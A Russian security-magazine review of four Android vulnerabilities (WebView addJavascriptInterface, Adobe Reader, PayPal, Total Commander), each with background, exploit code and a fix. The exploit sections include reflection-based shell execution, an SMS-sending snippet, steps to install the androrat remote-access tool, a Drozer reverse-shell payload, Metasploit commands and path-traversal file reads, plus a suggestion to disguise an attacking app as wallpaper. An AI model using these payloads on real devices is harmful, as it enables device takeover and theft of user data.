Содержание статьи
Мобильные телефоны стали неотъемлемой частью нашей жизни, и, как бы ни спорили со мной фанаты Apple или Windows Phone (хотя сама Microsoft выпустила бюджетные модели под брендом купленной ей недавно Nokia как раз на ОС Android), из них большую часть составляют Android-устройства. Поэтому сегодняшний наш обзор будет посвящен различным уязвимостям в программах для этой операционной системы.
Удаленное выполнение кода в модуле WebView
CVSSv2
9.3 (Av:R/Ac:M/A:N/C:С/I:С/A:C)
BRIEF
Дата релиза: 24 сентября 2013 года
Автор: Dave Hartley, jduck
CVE: 2013-4710
Вначале скажем пару слов о WebKit. Это движок веб-браузера с открытым исходным кодом, который используется в таких браузерах, как Google Chrome, Apple Safari, встроенные iOS- и Android-браузеры. А WebView является частью WebKit и представляет собой главный класс для отображения в этом фреймворке.
Многие мобильные приложения используют WebView для загрузки HTML-данных, в основном обращаясь к ним как обычный браузер для загрузки различных рекламных материалов, так как в интересах рекламных сетей облегчить интеграцию своего модуля для разработчиков. В свою очередь, такая реклама загружается по обычному HTTP-протоколу, что позволяет без проблем провести MITM-атаки на мобильные устройства, вставив произвольный JavaScript-код.
Тем более многие пользователи используют публичные Wi-Fi-сети в кафе или в транспорте для «быстрой» загрузки почты или какого-либо развлекательного видео. Если WebView позволяет получить доступ к нативным функциям через JavaScript, используя метод addJavascriptInterface
, то атакующий через него, в свою очередь, может выполнить произвольный Java-код. Это достигается благодаря рефлексии, об этой Java-технике я рассказывал в своем докладе на PHDays 2013.
Для использования этой уязвимости приложение должно быть скомпилировано для API ниже 17-й версии, иметь публичные методы и, соответственно, использовать модуль WebView. В следующих же версиях Android (начиная с 4.2) разработчики добавили поддержку @JavascriptInterface
, то есть только те JavaScript-методы, которые так помечены, можно запускать внутри WebView. Например:
@JavascriptInterface
public void method() {
dostuff();
}
На самом деле это не только ошибка реализации, но и ошибка разработчиков приложений, в особенности таких рекламных сетей. После инициализации этого модуля в своей программе многие зачем-то включают выполнение JavaScript-кода, хотя он выключен по умолчанию, вроде для отображения манящей картинки это не обязательно. Поэтому в своем приложении желательно отключать его вручную:
webview = new WebView(this);
webview.getSettings().setJavaScriptEnabled(false);
Также желательно отключить доступ к локальным файлам, который включен по умолчанию:
webview.getSettings().setAllowFileAccess(false);
Кстати, подобная уязвимость уже находилась ранее и является «продолжением» CVE-2012-6636.
EXPLOIT
Перейдем к практическим примерам. Допустим, у нас есть программа, использующая android.webkit.JavascriptInterface
и WebView:
public class WebViewGUI extends Activity {
WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mWebView=new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
mWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mWebView);
}
final class JavaScriptInterface {
JavaScriptInterface () { }
public String getSomeString() {
return "string";
}
}
}
Вызов этой функции будет таким:
var String = window.jsinterface.getSomeString();
Но, используя интерфейс jsinterface
и рефлексию, мы можем выполнять различные системные команды с помощью java.lang.Runtime
:
<script>
function execute(cmd){
return window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"text\" > /mnt/sdcard/text.txt']);
</script>
Через такую функцию мы можем выполнять любые команды, как в обычном шелле, но этим возможности не ограничиваются. Ниже представлены, на мой взгляд, довольно интересные примеры использования этой возможности, которые я смог найти на просторах Сети.
Пример кода, открывающий доступ к отправкам SMS, доступ к которым всегда хотят получить злоумышленники:
var obj_smsManager = jsinterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault", null).invoke(null, null);
obj_smsManager.sendTextMessage("+7987654321", null, "pwned", null, null);
Правда, для этого случая нужно, чтобы у уязвимого приложения были нужные права — android.permission.SEND_SMS
.
Пример кода, реализующего удаленное управление смартом через симбиоз с утилитой удаленного администрирования для Android-устройств, — androrat. Только для начала нужно будет представить APK-файл в виде hex-строки, воспользовавшись каким-нибудь конвертером. Если файл не будет умещаться в одну строку, то разбей ее на несколько:
var armBinary1 = "\\x50\\x4B...";
var armBinary2 = "\\x1B\\xBO...";
var patharm = "/mnt/sdcard/androrat.apk";
execute(["/system/bin/sh","-c","echo -n '"+armBinary1+"' >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n '"+armBinary2+"' >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/androrat.apk"]);
Или можешь установить любую другую программу. Кстати, подобный метод установки через командную строку применен в различных вредоносных программах для Android, причем некоторые для создания своих «ботнетов» используют как раз androrat.
Для проведения атаки ты можешь создать свою HTML-страницу вручную, или добавить в пакет какой-нибудь из представленных выше кодов, или же воспользоваться готовыми решениями. Несколько из них представлены в виде приложения Drozer от MWR labs, которые и обнаружили эту уязвимость, после чего добавили такой функционал в свою программу для пентеста Android-приложений. Ну и конечно же, Metasploit, к которому вернемся чуть позже. Список полезной нагрузки:
$ drozer payload list
shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI)
weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)
weasel.shell.armeabi Deploy weasel, through a set of Shell commands (ARMEABI)
Пример полученного JavaScript-кода с выбранным шеллом:
$ cat drozer.js
var host = '192.168.1.99';
var port = '31415';
var path = '/data/data/com.vuln.app/files/weasel';
function execute(cmd){
return window.interface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/rm',path]);
execute(['/system/bin/sh','-c','echo -e "…………………" > '+path]);
execute(['/system/bin/chmod','770',path]);
execute([path,host,port]);
Если наша полезная нагрузка будет успешно вставлена в WebView, то оно запишет и выполнит выбранный шелл. Который, в свою очередь, совершит коннект к нашему Drozer-серверу:
$ drozer server start
Starting drozer Server, listening on 0.0.0.0:31415
С недавнего времени в Metasploit существуют модули для ОС Android, правда, на момент написания статьи в базе их было всего два. Запустим нужный нам модуль, который поднимет атакующий сервер на нашей системе:
msf > use exploit/android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LHOST 192.168.81.135
LHOST => 192.168.81.135
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.81.135:4444
[*] Using URL: http://0.0.0.0:8080/xpEQVM
[*] Local IP: http://192.168.81.135:8080/xpEQVM
[*] Server started.
msf exploit(webview_addjavascriptinterface) >
TARGETS
Android <= 4.1 (API 16).
SOLUTION
Есть исправление от производителя.
Выполнение произвольного JavaScript-кода в Adobe Reader для Android
CVSSv2
9.3 (Av:R/Ac:M/A:N/C:С/I:С/A:C)
BRIEF
Дата релиза: 13 апреля 2014 года
Автор: Yorick Koster
CVE: 2014-0514
Теперь рассмотрим подобную уязвимость в одном из популярных приложений на Android-устройствах — мобильной версии Adobe Reader для работы с PDF-документами. По примерным оценкам на момент нахождения уязвимости оно было установлено на 100–500 миллионов устройств. Из-за ошибки в приложении атакующий может выполнить произвольный код на устройстве пользователя при просмотре PDF-документа.
Внутри приложения следующие классы предоставляют JavaScript-интерфейсы:
- ARJavaScript;
- ARCloudPrintActivity;
- ARCreatePDFWebView.
Это означает, что в мобильном Adobe Reader добавлена поддержка JavaScript для работы с Acrobat API (например, различные формы для ввода данных). По некоторым причинам имена JavaScript-объектов начинаются с символа подчеркивания.
public class ARJavaScript
{
[...]
public ARJavaScript(ARViewerActivity paramARViewerActivity)
{
[...]
this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
this.mWebView.setWebViewClient(new ARJavaScript.1(this));
this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
}
После чего атакующему достаточно создать специальный PDF-файл, в котором содержится JavaScript-код, который запустится при просмотре файла или взаимодействии (нажатие по кнопке) с файлом. Использование любого из указанных выше объектов дает возможность получить доступ к публичному Reflection API
наследованного из этого объекта. А уже из API выполнить произвольный Java-код.
EXPLOIT
Для тестирования ты можешь скачать готовый PDF-файл со следующим кодом, который создает файл внутри песочницы приложения:
function execute(bridge, cmd) {
return bridge.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
if(window._app) {
try {
var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
window._app.alert(path + ' created', 3);
} catch(e) {
window._app.alert(e, 0);
}
}
Как ты уже заметил, внутри кода мы обращаемся к одному из указанных выше JavaScript-объектов — window._app
.
Для этой уязвимости также существует Metasploit-модуль, написанный пользователем joev:
msf > use exploit/android/fileformat/adobe_reader_pdf_js_interface
msf exploit(adobe_reader_pdf_js_interface) > set LHOST 192.168.81.130
msf exploit(adobe_reader_pdf_js_interface) > exploit
[*] Generating Javascript exploit...
[*] Creating PDF...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
msf exploit(adobe_reader_pdf_js_interface) >
Далее полученный файл отправляем на тестируемое устройство и предлагаем открыть.
TARGETS
Adobe Reader for Android 11.1.3.
SOLUTION
Есть исправление от производителя.
Обход SSL и удаленное выполнение кода в Paypal 5.3 для Android
CVSSv2
N/A
BRIEF
Дата релиза: 10 марта 2014 года
Автор: Henry Hoggard
CVE: 2013-7201, 2013-7202
Думаю, никому не надо рассказывать про платежную систему PayPal, а функционал мобильного приложения схож с веб-версией — получение и отправка денежных средств, поэтому перейдем сразу к ошибкам.
Наша исследуемая программа, как и в приложениях выше, использует модуль WebView. Помимо основной уязвимости, позволяющей выполнять JavaScript-код, в приложении имеется ошибка, которая позволяет принимать даже недействительные SSL-сертификаты:
public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler,
SslError paramSslError)
{
paramSslErrorHandler.proceed();
}
Для исправления достаточно заменить команду proceed
на cancel
:
paramSslErrorHandler.cancel();
То есть нам достаточно совершить MITM-атаку на устройство и вставлять нужный нам JavaScript-код в получаемые устройством страницы.
Уязвимые классы в приложении:
com/paypal/android/choreographer/flows/help/WebHybridClient.java
;
com/paypal/android/choreographer/flows/shop/fragments/EnhancedCheckinHybridFragment.java
;
com/paypal/android/choreographer/web/WebHybridClient.java
.
EXPLOIT
Найдем и разберем метод класса WebHybridClient
, отвечающий за JavaScript-интерфейс:
public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup,
Bundle paramBundle)
{
...
this.web.getSettings().setJavaScriptEnabled(true);
...
this.web.addJavascriptInterface(this.mListener, "ppAndroid");
...
return localView;
}
Как и в прошлом номере в случае с Yahoo, находим объект ppAndroid
, используя который можно выполнить любой код в системе или немного изменить транзакцию в пользу атакующего.
TARGETS
Paypal <= 5.3 & Android < 4.2.
SOLUTION
Есть исправление от производителя. Ну и рекомендация не использовать публичные Wi-Fi-сети для денежных операций.
Раскрытие путей в Total Commander для Android
CVSSv2
4.4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
BRIEF
Дата релиза: 1 мая 2013 года
Автор: dukeBarman
CVE: 2013-3310
Теперь рассмотрим уязвимость в приложении Total Commander. Я нашел ее в прошлом году вместе с большинством уязвимостей в приложениях от компании «Яндекс», о которых уже писал ранее на страницах нашего журнала.
Как и многие из найденных мною уязвимостей на тот момент, ошибка находится в контент-провайдере. Как ответил автор, она использовалась для загрузки файлов, но, как обычно и бывает, из-за отсутствия достаточной проверки это позволило атакующему читать различные файлы в системе, к которым у уязвимого приложения имеется доступ.
EXPLOIT
Для эксплуатации такой и других подобных уязвимостей воспользуемся снова программой Drozer. Ранее она называлась Mercury, и как раз работу с ней я описывал в той статье. По каким-то причинам разработчики изменили название и сделали несколько редакций — community и Pro. Основное отличие последней — административная панель для управления успешно атакованными устройствми. Но вернемся к нашей уязвимости. В качестве теста прочтем один из системных файлов:
dz> run app.provider.read content://com.ghisler.android.TotalCommander.files/../../../../../../../../system/etc/hosts
localhost 127.0.0.1
Или прочитаем любой файл из директории самого приложения:
dz> run app.provider.read content://com.ghisler.android.TotalCommander.files/../../../../../../../../data/data/com.ghisler.android.TotalCommander
Так как это приложение является файловым менеджером и используется для открытия многих файлов, то можно попытаться найти кеш и прочитать открытые или загруженные файлы.
На своем гитхабе я выкладывал исходники атакующего Android-приложения для обращения к уязвимым провайдерам в приложениях Яндекса, но там были обычные SQL-запросы. Для чтения файлов нужно будет воспользоваться следующей функций:
resolver.openInputStream(uri)
Так как атакующему приложению не нужно каких-либо прав, его с легкостью можно отправить пользователю под видом «живых обоев» или потратить немного времени и клонировать игру. А оно, в свою очередь, будет читать различные файлы через уязвимое приложение, у которого есть доступ, например, к SD-карте:
dz> run app.provider.read content://com.ghisler.android.TotalCommander.files/../../../../../../../../sdcard/
В свою очередь, доступ к внешней карте памяти помогает получить доступ к кешу различных программ, например набравшего популярность WhatsApp :).
Кстати, за эту уязвимость было также получено небольшое денежное вознаграждение от разработчика с извинениями, что оно небольшое, поскольку эта версия бесплатна в отличие от десктопной. Жаль, что так к своему продукту относятся не все.
TARGETS
Total Commander <= 2.01.
SOLUTION
Есть исправление от производителя.